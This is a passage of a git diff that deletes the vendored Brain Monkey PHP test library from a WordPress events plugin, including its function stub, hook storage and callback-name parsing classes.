break; - default : - throw new \UnexpectedValueException(sprintf('Unexpected %s type.', __CLASS__)); - } - - return $name; - } - - /** - * @return string - */ - public function type() - { - return $this->type; - } - - /** - * @param \Brain\Monkey\Expectation\ExpectationTarget $target - * @return bool - */ - public function equals(ExpectationTarget $target) - { - return - $this->original_name === $target->original_name - && $this->type === $target->type; - } -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/FunctionStub.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/FunctionStub.php deleted file mode 100644 index 1cdce6ec..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/FunctionStub.php +++ /dev/null @@ -1,239 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class FunctionStub -{ - - /** - * @var \Brain\Monkey\Name\FunctionName - */ - private $function_name; - - /** - * @param FunctionName $function_name - */ - public function __construct(FunctionName $function_name) - { - $this->function_name = $function_name; - $name = $this->function_name->shortName(); - $namespace = $this->function_name->getNamespace(); - - if (function_exists($function_name->fullyQualifiedName())) { - return; - } - - $function = <<function_name->fullyQualifiedName(); - } - - /** - * Redefine target function replacing it on the fly with a given callable. - * - * @param callable $callback - */ - public function alias(callable $callback) - { - $fqn = $this->function_name->fullyQualifiedName(); - \Patchwork\redefine($fqn, $callback); - $this->assertRedefined($fqn); - } - - /** - * Redefine target function replacing it with a function that execute Brain Monkey expectation - * target method on the mock associated with given Brain Monkey expectation. - * - * @param \Brain\Monkey\Expectation\Expectation $expectation - * @return void - */ - public function redefineUsingExpectation(Expectation $expectation) - { - $fqn = $this->function_name->fullyQualifiedName(); - - $this->alias(function (...$args) use ($expectation, $fqn) { - - $mock = $expectation->mockeryExpectation()->getMock(); - $target = new ExpectationTarget(ExpectationTarget::TYPE_FUNCTION, $fqn); - - return $mock->{$target->mockMethodName()}(...$args); - }); - } - - /** - * Redefine target function making it return an arbitrary value. - * - * @param mixed $return - */ - public function justReturn($return = null) - { - $fqn = ltrim($this->function_name->fullyQualifiedName(), '\\'); - - \Patchwork\redefine($fqn, function () use ($return) { - return $return; - }); - - $this->assertRedefined($fqn); - } - - /** - * Redefine target function making it echo an arbitrary value. - * - * @param mixed $value - */ - public function justEcho($value = null) - { - is_null($value) and $value = ''; - $fqn = ltrim($this->function_name->fullyQualifiedName(), '\\'); - - $this->assertPrintable($value, 'provided to justEcho'); - - \Patchwork\redefine($fqn, function () use ($value) { - echo $value; - }); - - $this->assertRedefined($fqn); - } - - /** - * Redefine target function making it return one of the received arguments, the first by - * default. Redefined function will throw an exception if the function does not receive desired - * argument. - * - * @param int $arg_num The position (1-based) of the argument to return - */ - public function returnArg($arg_num = 1) - { - $arg_num = $this->assertValidArgNum($arg_num, 'returnArg'); - - $fqn = $this->function_name->fullyQualifiedName(); - - \Patchwork\redefine($fqn, function (...$args) use ($fqn, $arg_num) { - if ( ! array_key_exists($arg_num - 1, $args)) { - $count = count($args); - throw new Exception\InvalidArgumentForStub( - "{$fqn} was called with {$count} params, can't return argument \"{$arg_num}\"." - ); - } - - return $args[$arg_num - 1]; - }); - $this->assertRedefined($fqn); - } - - /** - * Redefine target function making it echo one of the received arguments, the first by default. - * Redefined function will throw an exception if the function does not receive desired argument. - * - * @param int $arg_num The position (1-based) of the argument to echo - */ - public function echoArg($arg_num = 1) - { - $arg_num = $this->assertValidArgNum($arg_num, 'echoArg'); - - $fqn = $this->function_name->fullyQualifiedName(); - - \Patchwork\redefine($fqn, function (...$args) use ($fqn, $arg_num) { - - if ( ! array_key_exists($arg_num - 1, $args)) { - $count = count($args); - throw new \RuntimeException( - "{$fqn} was called with {$count} params, can't return argument \"{$arg_num}\"." - ); - } - - $arg = $args[$arg_num - 1]; - - $this->assertPrintable($arg, "passed as argument {$arg_num} to {$fqn}"); - - echo (string)$arg; - }); - - $this->assertRedefined($fqn); - } - - /** - * @param mixed $arg_num - * @param string $method - * @return bool - */ - private function assertValidArgNum($arg_num, $method) - { - if ( ! is_int($arg_num) || $arg_num <= 0) { - throw new Exception\InvalidArgumentForStub( - sprintf('`%s::%s()` first parameter must be a positiver integer.', __CLASS__, - $method) - ); - } - - return $arg_num; - } - - /** - * @param string $function_name - */ - private function assertRedefined($function_name) - { - if (\Patchwork\hasMissed($function_name)) { - throw Exception\MissedPatchworkReplace::forFunction($function_name); - } - } - - /** - * @param $value - * @param string $coming - */ - private function assertPrintable($value, $coming = '') - { - if (is_scalar($value)) { - return; - } - - $printable = - is_object($value) - && method_exists($value, '__toString') - && is_callable([$value, '__toString']); - - if ( ! $printable) { - throw new Exception\InvalidArgumentForStub( - sprintf( - "%s, %s, is not printable.", - is_object($value) ? 'Instance of '.get_class($value) : gettype($value), - $coming - ) - ); - } - - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/FunctionStubFactory.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/FunctionStubFactory.php deleted file mode 100644 index 73ad60cf..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/FunctionStubFactory.php +++ /dev/null @@ -1,95 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class FunctionStubFactory -{ - - const SCOPE_STUB = 'a stub'; - const SCOPE_EXPECTATION = 'an expectation'; - - /** - * @var array - */ - private $storage = []; - - /** - * @param \Brain\Monkey\Name\FunctionName $name - * @param string $scope - * @return \Brain\Monkey\Expectation\FunctionStub - */ - public function create(FunctionName $name, $scope) - { - $stored_type = $this->storedType($name); - - if ( ! $stored_type) { - - $stub = new FunctionStub($name); - $this->storage[$name->fullyQualifiedName()] = [$stub, $scope]; - - return $stub; - } - - if ($scope !== $stored_type) { - throw new Exception\Exception( - sprintf( - 'It was not possible to create %s for function "%s" because %s for it already exists.', - $scope, - $name->fullyQualifiedName(), - $stored_type - ) - ); - } - - list($stub) = $this->storage[$name->fullyQualifiedName()]; - - return $stub; - } - - /** - * @param \Brain\Monkey\Name\FunctionName $name - * @return bool - */ - public function has(FunctionName $name) - { - return array_key_exists($name->fullyQualifiedName(), $this->storage); - } - - /** - * @return void - */ - public function reset() - { - $this->storage = []; - } - - /** - * @param \Brain\Monkey\Name\FunctionName $name - * @return string - */ - private function storedType(FunctionName $name) - { - if ( ! $this->has($name)) { - return ''; - } - - list(, $stored_type) = $this->storage[$name->fullyQualifiedName()]; - - return $stored_type; - } -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/Exception/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/Exception/Exception.php deleted file mode 100644 index 7cbe74a3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/Exception/Exception.php +++ /dev/null @@ -1,24 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class Exception extends BaseException -{ - -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/Exception/InvalidAddedHookArgument.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/Exception/InvalidAddedHookArgument.php deleted file mode 100644 index 858481fb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/Exception/InvalidAddedHookArgument.php +++ /dev/null @@ -1,87 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class InvalidAddedHookArgument extends InvalidHookArgument -{ - - const CODE_WRONG_ARGS_COUNT = 1; - const CODE_MISSING_CALLBACK = 2; - const CODE_INVALID_PRIORITY = 3; - const CODE_INVALID_ACCEPTED_ARGS = 4; - - /** - * @param string $type - * @return static - */ - public static function forWrongArgumentsCount($type) - { - return new static( - sprintf( - '"%s" must be called at with hook name and at maximum three other arguments: callback, priority, and accepted args num.', - $type === HookStorage::ACTIONS ? "add_action" : "add_filter" - ), - self::CODE_WRONG_ARGS_COUNT - ); - } - - /** - * @param string $type - * @return static - */ - public static function forMissingCallback($type) - { - return new static( - sprintf( - 'A callback parameter is required for "%s".', - $type === HookStorage::ACTIONS ? "add_action" : "add_filter" - ), - self::CODE_MISSING_CALLBACK - ); - } - - /** - * @param string $type - * @return static - */ - public static function forInvalidPriority($type) - { - return new static( - sprintf( - 'Priority parameter passed to "%s" must be an integer.', - $type === HookStorage::ACTIONS ? "add_action" : "add_filter" - ), - self::CODE_INVALID_PRIORITY - ); - } - - /** - * @param string $type - * @return static - */ - public static function forInvalidAcceptedArgs($type) - { - return new static( - sprintf( - 'Accepted args number parameter passed to "%s" must be an integer.', - $type === HookStorage::ACTIONS ? "add_action" : "add_filter" - ), - self::CODE_INVALID_ACCEPTED_ARGS - ); - } -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/Exception/InvalidHookArgument.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/Exception/InvalidHookArgument.php deleted file mode 100644 index fb7058ce..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/Exception/InvalidHookArgument.php +++ /dev/null @@ -1,79 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class InvalidHookArgument extends Exception -{ - - /** - * @param mixed $type - * @return static - */ - public static function forInvalidType($type) - { - return new static( - sprintf( - 'HookStorage hook type must either HookStorage::ACTIONS or HookStorage::FILTERS, got %s.', - is_object($type) ? ' instance of '.get_class($type) : gettype($type) - ) - ); - } - - /** - * @param mixed $type - * @return static - */ - public static function forInvalidHook($type) - { - return new static( - sprintf( - 'Hook name must be in a string, got %s.', - is_object($type) ? ' instance of '.get_class($type) : gettype($type) - ) - ); - } - - /** - * @param string $key - * @param string $type - * @return static - */ - public static function forEmptyArguments($key, $type) - { - $function = $missing = ''; - - switch ($type) { - case HookStorage::ACTIONS: - $missing = 'callback'; - $function = $key === HookStorage::ADDED ? "'add_action'" : "'do_action'"; - break; - case HookStorage::FILTERS: - $missing = $key === HookStorage::ADDED ? 'callback' : 'first'; - $function = $key === HookStorage::ADDED ? "'add_filter'" : "'apply_filters'"; - break; - } - - return new static( - sprintf( - 'Missing %s required argument for %s.', - $missing, - $function - ) - ); - } -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/HookExpectationExecutor.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/HookExpectationExecutor.php deleted file mode 100644 index 285f03d8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/HookExpectationExecutor.php +++ /dev/null @@ -1,140 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class HookExpectationExecutor -{ - - /** - * @var \Brain\Monkey\Hook\HookRunningStack - */ - private $stack; - - /** - * @var \Brain\Monkey\Expectation\ExpectationFactory - */ - private $factory; - - /** - * @param \Brain\Monkey\Hook\HookRunningStack $stack - * @param \Brain\Monkey\Expectation\ExpectationFactory $factory - */ - public function __construct(HookRunningStack $stack, ExpectationFactory $factory) - { - $this->stack = $stack; - $this->factory = $factory; - } - - /** - * @param string $action - * @param array $args - */ - public function executeAddAction($action, array $args) - { - $this->execute(ExpectationTarget::TYPE_ACTION_ADDED, $action, $args); - } - - /** - * @param string $action - * @param array $args - */ - public function executeAddFilter($action, array $args) - { - $this->execute(ExpectationTarget::TYPE_FILTER_ADDED, $action, $args); - } - - /** - * @param string $action - * @param array $args - */ - public function executeDoAction($action, array $args = []) - { - $is_running = $this->stack->has(); - $this->stack->push($action); - $this->execute(ExpectationTarget::TYPE_ACTION_DONE, $action, $args); - $is_running or $this->stack->reset(); - } - - /** - * @param string $filter - * @param array $args - * @return mixed|null - */ - public function executeApplyFilters($filter, array $args) - { - - $is_running = $this->stack->has(); - $this->stack->push($filter); - $return = $this->execute(ExpectationTarget::TYPE_FILTER_APPLIED, $filter, $args); - $is_running or $this->stack->reset(); - - return $return; - } - - /** - * @param string $action - * @param array $args - * @return mixed - */ - public function executeRemoveAction($action, array $args) - { - return $this->execute(ExpectationTarget::TYPE_ACTION_REMOVED, $action, $args); - } - - /** - * @param string $filter - * @param array $args - * @return mixed - */ - public function executeRemoveFilter($filter, array $args) - { - return $this->execute(ExpectationTarget::TYPE_FILTER_REMOVED, $filter, $args); - } - - /** - * @param string $type - * @param string $hook - * @param array $args - * @return mixed - */ - private function execute($type, $hook, array $args) - { - $target = new ExpectationTarget($type, $hook); - if ($this->factory->hasMockFor($target)) { - $method = $target->mockMethodName(); - - $return = $this->factory->mockFor($target)->{$method}(...$args); - $this->factory->hasReturnExpectationFor($target) or $return = reset($args); - - return $return; - } - - if ($type === ExpectationTarget::TYPE_FILTER_APPLIED) { - return reset($args); - } - - return null; - - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/HookRunningStack.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/HookRunningStack.php deleted file mode 100644 index 572870f9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/HookRunningStack.php +++ /dev/null @@ -1,76 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -final class HookRunningStack -{ - - /** - * @var array - */ - private $stack = []; - - /** - * @param string $hook_name - * @return static - */ - public function push($hook_name) - { - $this->stack[] = $hook_name; - - return $this; - } - - /** - * @return string - */ - public function last() - { - if ( ! $this->stack) { - return ''; - } - - return end($this->stack); - } - - /** - * @param string $hook_name - * @return bool - */ - public function has($hook_name = null) - { - if ( ! $this->stack) { - return false; - } - - return $hook_name === null ? true : in_array($hook_name, $this->stack, true); - } - - /** - * @return static - */ - public function reset() - { - $this->stack = []; - - return $this; - } -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/HookStorage.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/HookStorage.php deleted file mode 100644 index a7492796..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/HookStorage.php +++ /dev/null @@ -1,263 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -final class HookStorage -{ - - const ACTIONS = 'actions'; - const FILTERS = 'filters'; - const ADDED = 'added'; - const DONE = 'done'; - - private $storage = [ - self::ADDED => [], - self::DONE => [] - ]; - - /** - * @return void - */ - public function reset() - { - $this->storage = [ - self::ADDED => [], - self::DONE => [] - ]; - } - - /** - * @param string $type - * @param string $hook - * @param array $args - * @return static - */ - public function pushToAdded($type, $hook, array $args) - { - return $this->pushToStorage(self::ADDED, $type, $hook, $args); - } - - /** - * @param string $type - * @param string $hook - * @param array $args - * @return bool - */ - public function removeFromAdded($type, $hook, array $args) - { - if ( ! $this->isHookAdded($type, $hook)) { - return false; - } - - if ( ! $args) { - unset($this->storage[self::ADDED][$type][$hook]); - - return true; - } - - $args = $this->parseArgsToAdd($args, self::ADDED, $type); - - $all = $this->storage[self::ADDED][$type][$hook]; - $removed = 0; - - /** - * @var CallbackStringForm $callback - */ - foreach ($all as $key => list($callback, $priority)) { - if ($callback->equals($args[0]) && $priority === $args[1]) { - unset($all[$key]); - $removed++; - } - } - - $removed and $this->storage[self::ADDED][$type][$hook] = array_values($all); - if ( ! $this->storage[self::ADDED][$type][$hook]) { - unset($this->storage[self::ADDED][$type][$hook]); - } - - return $removed > 0; - } - - /** - * @param string $type - * @param string $hook - * @param array $args - * @return static - */ - public function pushToDone($type, $hook, array $args) - { - return $this->pushToStorage(self::DONE, $type, $hook, $args); - } - - /** - * @param string $type - * @param string $hook - * @param callable|null $function - * @return bool - */ - public function isHookAdded($type, $hook, $function = null) - { - return $this->isInStorage(self::ADDED, $type, $hook, $function); - } - - /** - * @param string $type - * @param string $hook - * @return int - */ - public function isHookDone($type, $hook) - { - return $this->isInStorage(self::DONE, $type, $hook); - } - - /** - * @param $type - * @param $hook - * @param $function - * @return bool|int - */ - public function hookPriority($type, $hook, $function) - { - if ( ! isset($this->storage[self::ADDED][$type][$hook])) { - return false; - } - - $all = $this->storage[self::ADDED][$type][$hook]; - - /** - * @var CallbackStringForm $callback - * @var int $priority - */ - foreach ($all as $key => list($callback, $priority)) { - if ($callback->equals(new CallbackStringForm($function))) { - return $priority; - } - } - - return false; - } - - /** - * @param string $key - * @param string $type - * @param string $hook - * @param array $args - * @return static - */ - private function pushToStorage($key, $type, $hook, array $args) - { - if ($type !== self::ACTIONS && $type !== self::FILTERS) { - throw Exception\InvalidHookArgument::forInvalidType($type); - } - - if ( ! is_string($hook)) { - throw Exception\InvalidHookArgument::forInvalidHook($hook); - } - - // do_action() is the only of target functions that can be called without additional arguments - if ( ! $args && ($key !== self::DONE || $type !== self::ACTIONS)) { - throw Exception\InvalidHookArgument::forEmptyArguments($key, $type); - } - - $storage = &$this->storage[$key]; - - array_key_exists($type, $storage) or $storage[$type] = []; - array_key_exists($hook, $storage[$type]) or $storage[$type][$hook] = []; - - if ($key === self::ADDED) { - $args = $this->parseArgsToAdd($args, $key, $type); - } - - $storage[$type][$hook][] = $args; - - return $this; - } - - /** - * @param string $key - * @param string $type - * @param string $hook - * @param callable|null $function - * @return int|bool - */ - private function isInStorage($key, $type, $hook, $function = null) - { - $storage = $this->storage[$key]; - - if ( ! in_array($type, [self::ACTIONS, self::FILTERS], true)) { - throw Exception\InvalidHookArgument::forInvalidType($type); - } - - if ( ! array_key_exists($type, $storage) || ! array_key_exists($hook, $storage[$type])) { - return $key === self::ADDED ? false : 0; - } - - if ($function === null) { - return $key === self::ADDED ? true : count($storage[$type][$hook]); - } - - $filter = function (array $args) use ($function) { - return $args[0]->equals(new CallbackStringForm($function)); - }; - - $matching = array_filter($storage[$type][$hook], $filter); - - return $key === self::ADDED ? (bool)$matching : count($matching); - } - - /** - * @param array $args - * @param string $key - * @param string $type - * @return array - */ - private function parseArgsToAdd(array $args, $key, $type) - { - if ( ! $args) { - throw Exception\InvalidHookArgument::forEmptyArguments($key, $type); - } - - if (count($args) > 3) { - throw Exception\InvalidAddedHookArgument::forWrongArgumentsCount($type); - } - - $args = array_replace([null, 10, 1], array_values($args)); - - if ( ! $args[0]) { - throw Exception\InvalidAddedHookArgument::forMissingCallback($type); - } - - $args[0] = new CallbackStringForm($args[0]); - - if ( ! is_int($args[1])) { - throw Exception\InvalidAddedHookArgument::forInvalidPriority($type); - } - - if ( ! is_int($args[2])) { - throw Exception\InvalidAddedHookArgument::forInvalidAcceptedArgs($type); - } - - return $args; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/CallbackStringForm.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/CallbackStringForm.php deleted file mode 100644 index 2cfdab05..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/CallbackStringForm.php +++ /dev/null @@ -1,181 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -final class CallbackStringForm -{ - - /** - * @var string - */ - private $parsed; - - /** - * @param callable $callback - */ - public function __construct($callback) - { - $this->parsed = $this->parseCallback($callback); - } - - /** - * @param \Brain\Monkey\Name\CallbackStringForm $callback - * @return bool - */ - public function equals(CallbackStringForm $callback) - { - return (string)$this === (string)$callback; - } - - /** - * @return string - */ - public function __toString() - { - return $this->parsed; - } - - /** - * @param mixed $callback - * @return string - */ - private function parseCallback($callback) - { - if ( ! is_callable($callback, true)) { - throw Exception\InvalidCallable::forCallable($callback); - } - - if (is_string($callback)) { - return $this->parseString($callback); - } - - $is_object = is_object($callback); - - if ($is_object && ! is_callable($callback)) { - throw new Exception\NotInvokableObjectAsCallback(); - } - - if ($is_object) { - return $callback instanceof \Closure - ? (string)new ClosureStringForm($callback) - : get_class($callback).'()'; - } - - list($object, $method) = $callback; - - $method_name = (new MethodName($method))->name(); - - if (is_string($object)) { - $class_name = (new ClassName($object))->fullyQualifiedName(); - - $this->assertMethodCallable($class_name, $method_name, $callback); - - return "{$class_name}::{$method_name}()"; - } - - if ( ! is_callable([$object, $method_name])) { - throw new Exception\NotInvokableObjectAsCallback(); - } - - $class_name = (new ClassName(get_class($object)))->fullyQualifiedName(); - - return ltrim("{$class_name}->{$method_name}()", '\\'); - } - - /** - * @param string $callback - * @return string - */ - private function parseString($callback) - { - $callback = trim($callback); - - if ( - (strpos($callback, 'function') === 0 || strpos($callback, 'static') === 0) - && substr($callback, -1) === ')' - ) { - try { - return ClosureStringForm::normalizeString($callback); - } catch (Exception\Exception $exception) { - throw Exception\InvalidCallable::forCallable($callback); - } - } - - $is_static_method = substr_count($callback, '::') === 1; - $is_normalized_form = substr($callback, -2) === '()'; - - // Callback is a static method passed as string, like "Foo\Bar::some_method" - if ($is_static_method && ! $is_normalized_form) { - return $this->parseCallback(explode('::', $callback)); - } - - // If this is not a string in normalized form, we just check is a valid function name - if ( ! $is_normalized_form) { - return (new FunctionName($callback))->fullyQualifiedName(); - } - - // remove parenthesis - $callback = preg_replace('~\(\)$~', '', $callback); - - $is_dynamic_method = substr_count($callback, '->') === 1; - - // If this is a normalized form of a static or dynamic method let's check that both class - // and method names are fine - if ($is_dynamic_method || $is_static_method) { - $separator = $is_dynamic_method ? '->' : '::'; - list($class, $method) = explode($separator, $callback); - $class_name = (new ClassName($class))->fullyQualifiedName(); - $method_name = (new MethodName($method))->name(); - $this->assertMethodCallable($class_name, $method, "{$callback}()"); - - return ltrim("{$class_name}{$separator}{$method_name}()", '\\'); - } - - // Last chance is that the string is fully qualified name of an invokable object. - $class_name = (new ClassName($callback))->fullyQualifiedName(); - // Check `__invoke` method existence only if class is available - if (class_exists($class_name) && ! method_exists($class_name, '__invoke')) { - throw new Exception\NotInvokableObjectAsCallback(); - } - - return ltrim("{$class_name}()", '\\'); - } - - /** - * Ensure method existence only if class is available. - * - * @param string $class_name - * @param string $method - * @param string|array $callable - */ - private function assertMethodCallable($class_name, $method, $callable) - { - if ( - class_exists($class_name) - && ! (method_exists($class_name, $method) || is_callable([$class_name, $method])) - ) { - throw Exception\InvalidCallable::forCallable($callable); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/ClassName.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/ClassName.php deleted file mode 100644 index 107dc4e2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/ClassName.php +++ /dev/null @@ -1,71 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -final class ClassName -{ - - /** - * @var \Brain\Monkey\Name\FunctionName - */ - private $function_name; - - /** - * @param string $class_name - */ - public function __construct($class_name) - { - try { - $this->function_name = new FunctionName($class_name); - } catch (Exception\InvalidName $e) { - throw Exception\InvalidName::forClass($class_name); - } - } - - /** - * @return string - */ - public function fullyQualifiedName() - { - return $this->function_name->fullyQualifiedName(); - } - - /** - * @return string - */ - public function shortName() - { - return $this->function_name->shortName(); - } - - /** - * @return string - */ - public function getNamespace() - { - return $this->function_name->getNamespace(); - } - - /** - * @param \Brain\Monkey\Name\ClassName $name - * @return bool - */ - public function equals(ClassName $name) - { - return $this->fullyQualifiedName() === $name->fullyQualifiedName(); - } -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/ClosureParamStringForm.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/ClosureParamStringForm.php deleted file mode 100644 index efb7c93b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/ClosureParamStringForm.php +++ /dev/null @@ -1,145 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class ClosureParamStringForm -{ - - const PARAM_SUBPATTERN = '[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*(\\\\[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)*'; - - const VALID_PARAM_PATTERN = '/^' . self::PARAM_SUBPATTERN . '$/'; - - const REFLECTION_PARAM_PATTERN = '/\[\s\<\w+?>\s(' . self::PARAM_SUBPATTERN . ')/s'; - - private $param_name; - /** - * @var string - */ - private $type_name; - /** - * @var bool - */ - private $variadic; - - /** - * @param string $param - * @return static - */ - public static function fromString($param) - { - $param = trim($param); - - $variadic = substr_count($param, '...') === 1; - $variadic and $param = str_replace('.', '', $param); - $parts = array_filter(explode(' ', $param)); - $count = count($parts); - - if ($count !== 2 && $count !== 1) { - throw InvalidClosureParam::forInvalidName($param); - } - - $name = array_pop($parts); - $type = $parts ? ltrim(array_pop($parts), '\\') : ''; - - strpos($name, '$') === 0 and $name = substr($name, 1); - - if ($name && ! preg_match(self::VALID_PARAM_PATTERN, $name)) { - throw InvalidClosureParam::forInvalidName($name); - } - - if ($type && ! preg_match(self::VALID_PARAM_PATTERN, $type)) { - throw InvalidClosureParam::forInvalidType($type, $name); - } - - return new static($name, $type, $variadic); - } - - /** - * @param \ReflectionParameter $parameter - * @return static - */ - public static function fromReflectionParameter(\ReflectionParameter $parameter) - { - $type = ''; - if (PHP_MAJOR_VERSION >= 7) { - if ($parameter->hasType()) { - $type = $parameter->getType(); - if ($type instanceof \ReflectionNamedType) { - // PHP >= 7.1. - $type = $type->getName(); - } - - // In PHP 7.0 the ReflectionType::__toString() method will retrieve the type. - $type = ltrim($type, '\\'); - } - } else { - preg_match(self::REFLECTION_PARAM_PATTERN, $parameter->__toString(), $matches); - if (isset($matches[1])) { - $type = $matches[1]; - } - } - - return new static($parameter->getName(), $type, $parameter->isVariadic()); - } - - /** - * @param string $param_name - * @param string $type_name - * @param bool $variadic - */ - private function __construct($param_name, $type_name = '', $variadic = false) - { - if ( ! is_string($param_name) || ! $param_name) { - throw InvalidClosureParam::forInvalidName($param_name); - } - - $this->param_name = $param_name; - $this->type_name = $type_name; - $this->variadic = $variadic; - } - - /** - * @param \Brain\Monkey\Name\ClosureParamStringForm $param - * @return bool - */ - public function equals(ClosureParamStringForm $param) - { - return $this->__toString() === (string)$param; - } - - /** - * @return string - */ - public function __toString() - { - $string = $this->type_name ? "{$this->type_name} " : ''; - $this->variadic and $string .= '...'; - $string .= '$'.$this->param_name; - - return $string; - } - - /** - * @return bool - */ - public function isVariadic() - { - return $this->variadic; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/ClosureStringForm.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/ClosureStringForm.php deleted file mode 100644 index 1c49f468..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/ClosureStringForm.php +++ /dev/null @@ -1,126 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -final class ClosureStringForm -{ - - const CLOSURE_PATTERN = '/^(static\s+)?function\s*\((.*?)\)$/'; - - /** - * @var string - */ - private $name; - - /** - * @param string $closure_string - * @return string - */ - public static function normalizeString($closure_string) - { - if ( - ! is_string($closure_string) - || ! preg_match(self::CLOSURE_PATTERN, trim($closure_string), $matches) - ) { - throw InvalidCallable::forCallable($closure_string); - } - - $raw_params = trim($matches[2]); - $static = trim($matches[1]); - - $normalized = $static ? 'static function (' : 'function ('; - - if ( ! $raw_params) { - return "{$normalized})"; - } - - $variadic = false; - $params = explode(',', $raw_params); - - $normalized = array_reduce($params, function ($normalized, $param_name) use (&$variadic) { - - $param = ClosureParamStringForm::fromString($param_name); - - $is_variadic = $param->isVariadic(); - if ($variadic && $is_variadic) { - throw InvalidClosureParam::forMultipleVariadic($param_name); - } - - $is_variadic and $variadic = true; - - return $normalized.(string)$param.', '; - - }, $normalized); - - return rtrim($normalized, ', ').')'; - } - - /** - * @param \Closure $closure - */ - public function __construct(\Closure $closure) - { - $this->name = $this->buildName($closure); - } - - /** - * @return string - */ - public function __toString() - { - return $this->name; - } - - /** - * @param \Brain\Monkey\Name\ClosureStringForm $name - * @return bool - */ - public function equals(ClosureStringForm $name) - { - return $this->__toString() === (string)$name; - } - - /** - * Checks the name of a function and throw an exception if is not valid. - * When name is valid returns an array of the name itself and its namespace parts. - * - * @param \Closure $closure - * @return string - */ - private function buildName(\Closure $closure) - { - $reflection = new \ReflectionFunction($closure); - - // Quite hackish, but it seems there's no better way to get if a closure is static - $bind = @\Closure::bind($closure, new \stdClass); - $static = - $bind === null - || (new \ReflectionFunction($bind))->getClosureThis() === null; - - $arguments = array_map('strval', array_map( - [ClosureParamStringForm::class, 'fromReflectionParameter'], - $reflection->getParameters() - )); - - $name = $static ? 'static function (' : 'function ('; - - return $name.implode(', ', $arguments).')'; - } -} \ No newline at end of file diff --git 